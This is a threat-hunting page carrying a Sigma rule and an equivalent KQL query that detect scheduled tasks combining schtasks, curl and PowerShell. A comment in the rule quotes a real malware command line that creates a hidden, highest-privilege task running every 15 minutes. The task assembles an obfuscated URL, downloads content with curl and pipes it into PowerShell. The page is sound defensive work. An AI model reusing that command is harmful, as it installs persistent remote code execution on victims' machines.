Scheduled Task Creation with Curl and PowerShell Execution Combo

Hunt Hypothesis

Detects the creation of a scheduled task using schtasks.exe, potentially in combination with curl for downloading payloads and PowerShell for executing them. This facilitates executing malicious paylo

Detection Rule

Sigma (Original)

title: Scheduled Task Creation with Curl and PowerShell Execution Combo
id: 1d174d38-8fda-4081-a9b6-56d9763c0cd8
status: experimental
description: |
    Detects the creation of a scheduled task using schtasks.exe, potentially in combination with curl for downloading payloads and PowerShell for executing them.
    This facilitates executing malicious payloads or connecting with C&C server persistently without dropping the malware sample on the host.
references:
    - https://tria.ge/241015-l98snsyeje/behavioral2
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-02-05
tags:
    - attack.privilege-escalation
    - attack.execution
    - attack.persistence
    - attack.stealth
    - attack.t1053.005
    - attack.t1218
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    # Example: cmd start /min /c schtasks /create /tn PolicyConverter /sc minute /mo 15 /tr "conhost --headless cmd /v:on /c set a=https&set b=inh&set c=ostne&set d=tservice.co&set e=!a!://www.!b!!c!!d!m& curl -o - !e!/mscu/lokc.php?wl=HGNBWBGW**Admin | powershell" /rl Highest
    selection_img:
        Image|endswith: '\schtasks.exe'
        CommandLine|contains|windash: ' /create '
    selection_curl:
        CommandLine|contains|all:
            - 'curl '
            - 'http'
            - '-o'
    selection_powershell:
        CommandLine|contains: 'powershell'
    condition: all of selection_*
falsepositives:
    - Legitimate use of schtasks for administrative purposes.
    - Automation scripts combining curl and PowerShell in controlled environments.
level: medium

KQL (Azure Sentinel)

imProcessCreate
| where (TargetProcessName endswith "\\schtasks.exe" and (TargetProcessCommandLine contains " -create " or TargetProcessCommandLine contains " /create " or TargetProcessCommandLine contains " –create " or TargetProcessCommandLine contains " —create " or TargetProcessCommandLine contains " ―create ")) and (TargetProcessCommandLine contains "curl " and TargetProcessCommandLine contains "http" and TargetProcessCommandLine contains "-o") and TargetProcessCommandLine contains "powershell"

Required Data Sources

False Positive Guidance

• Legitimate use of schtasks for administrative purposes.
• Automation scripts combining curl and PowerShell in controlled environments.

MITRE ATT&CK Context

• Tactic: Privilege Escalation
• Tactic: Execution
• Tactic: Persistence
• Tactic: Command and Control
• Technique: T1053.005 — T1053.005
• Technique: T1218 — T1218
• Technique: T1105 — T1105

References

• https://tria.ge/241015-l98snsyeje/behavioral2
• SigmaHQ Rule